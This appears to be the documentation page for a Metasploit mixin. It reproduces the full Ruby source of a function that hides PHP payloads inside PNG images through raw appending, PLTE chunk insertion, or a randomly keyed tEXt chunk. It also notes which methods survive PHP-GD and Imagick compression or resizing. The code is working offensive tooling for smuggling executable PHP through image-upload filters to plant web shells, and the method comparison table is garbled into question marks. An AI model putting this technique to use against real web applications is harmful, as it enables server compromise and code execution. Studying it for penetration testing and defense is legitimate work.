Module: Msf::Exploit::Format::PhpPayloadPng
- Defined in:
- lib/msf/core/exploit/format/php_payload_png.rb
Overview
This mixin module provides methods to inject persistent PHP payloads into a PNG file. It is based on the article of Quentin Roland from SynActiv. www.synacktiv.com/en/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html The mixin depends on the GEM library ChunkyPNG that provides the basic PNG image processing functionality.
There are five methods of code injection described in the article: 1: Inject PHP payload into the PNG comment field 2: Inject PHP payload at the end of the PNG file, the so called raw insertion 3: Inject PHP payload in the PLTE chunk of the PNG file 4: Inject PHP payload in the IDAT chunk of the PNG file 5: Inject PHP payload in a random tEXT chunk of the PNG file
Method 1 and 2 will not survive any image compression configured and applied by a PHP web application Method 3 will survive image compression, but no image resizing configured and applied by a PHP web application Method 4 will survive all compression and resizing but payload is fixed and restricted. Method 5 will survive Imagick resizing
In the module below, we will offer only three (3) methods e.g, Raw, PLTE and tEXt for which we will combine method 1 and 5 TODO: IDAT chunk payload injection has most potential but is not flexible and is fixed for payloads that can be injected.
No processing PHP-GD compression PHP-GD resizing Imagick resizing
Raw insertion ??? ??? ??? ??? PLTE chunk ??? ??? ??? ??? TODO: IDAT chunk ??? ??? ??? ??? tEXt chunk ??? ??? ??? ???
Instance Method Summary collapse
-
#inject_php_payload_png(payload, injection_method: 'PLTE') ⇒ String?
PNG binary string if injection is successful, otherwise nil if there was an error.
Instance Method Details
#inject_php_payload_png(payload, injection_method: 'PLTE') ⇒ String?
Returns PNG binary string if injection is successful, otherwise nil if there was an error.
34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 |
# File 'lib/msf/core/exploit/format/php_payload_png.rb', line 34 def inject_php_payload_png(payload, injection_method: 'PLTE') if payload.empty? print_error('PNG payload creation failed. No PHP payload provided.') return nil end # Execute provided injection method case injection_method when 'RAW' # Inject payload at the end of PNG (raw code injection) # Use an image size of 1 pixel by 1 pixel to # create the smallest possible PNG image. image_width = 1 image_height = 1 png = ChunkyPNG::Image.new(image_width, image_height, ChunkyPNG::Color::BLACK) # add payload at the end of PNG png_malicious = png.to_s + payload.to_s return png_malicious when 'PLTE' # Inject payload in the PLTE chunk, which holds 1 to 256 palette entries as noted # at http://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html. Each # entry will be a 3 byte long number of the form: # Red: 1 byte (0 = black, 255 = red) # Green: 1 byte (0 = black, 255 = green) # Blue: 1 byte (0 = black, 255 = blue) # payload should have a length with modulo of 3 to fit the 3 bytes RGB palette. # Section 4.1.2 PLTE Palette of http://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html # notes that PLTE chunks that are not divisible by 3 are considered a violation # of the PNG protocol. payload += ' ' while (payload.length % 3) != 0 # check if payload is not bigger then 768 (3x256) bytes to fit in the PLTE chunk if payload.length > 768 print_error("PNG payload creation failed. Padded payload size (#{payload.length}) is larger than 768 bytes.") return nil end # create base PNG with a right sized PLTE chunk to store the payload image_width = payload.length / 3 image_height = payload.length / 3 png = ChunkyPNG::Image.new(image_width, image_height, ChunkyPNG::Color::BLACK) # create palette entries (max. 256) to host the payload (0..((payload.length / 3) - 1)).each do |i| png[i, 1] = ChunkyPNG::Color.rgb(i, 1, 1) end # cycle thru the chunks, find the PLTE chunk and write the payload png_malicious = ChunkyPNG::Datastream.from_blob(png.to_blob) png_malicious.each_chunk do |chunk| if chunk.type == 'PLTE' chunk.content = payload.to_s break end end return png_malicious.to_s when 'TEXT' # Inject payload in a new tEXt chunk generated with a random keyword # tEXt chunks are used to store textual data that the recorder # wishes to record within the image as noted at http://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html # section 4.3.2.1 tEXt Textual data # Use an image size of 1 pixel by 1 pixel to # create the smallest possible PNG image. image_width = 1 image_height = 1 png = ChunkyPNG::Image.new(image_width, image_height, ChunkyPNG::Color::BLACK) # store payload in a tEXt chunk with a randomized keyword random_keyword = Rex::Text.rand_text_alpha(4..16) png.[random_keyword] = payload.to_s return png.to_s else print_error("PNG payload creation failed. No valid injection method #{injection_method} provided [RAW, PLTE, TEXT].") return nil end end |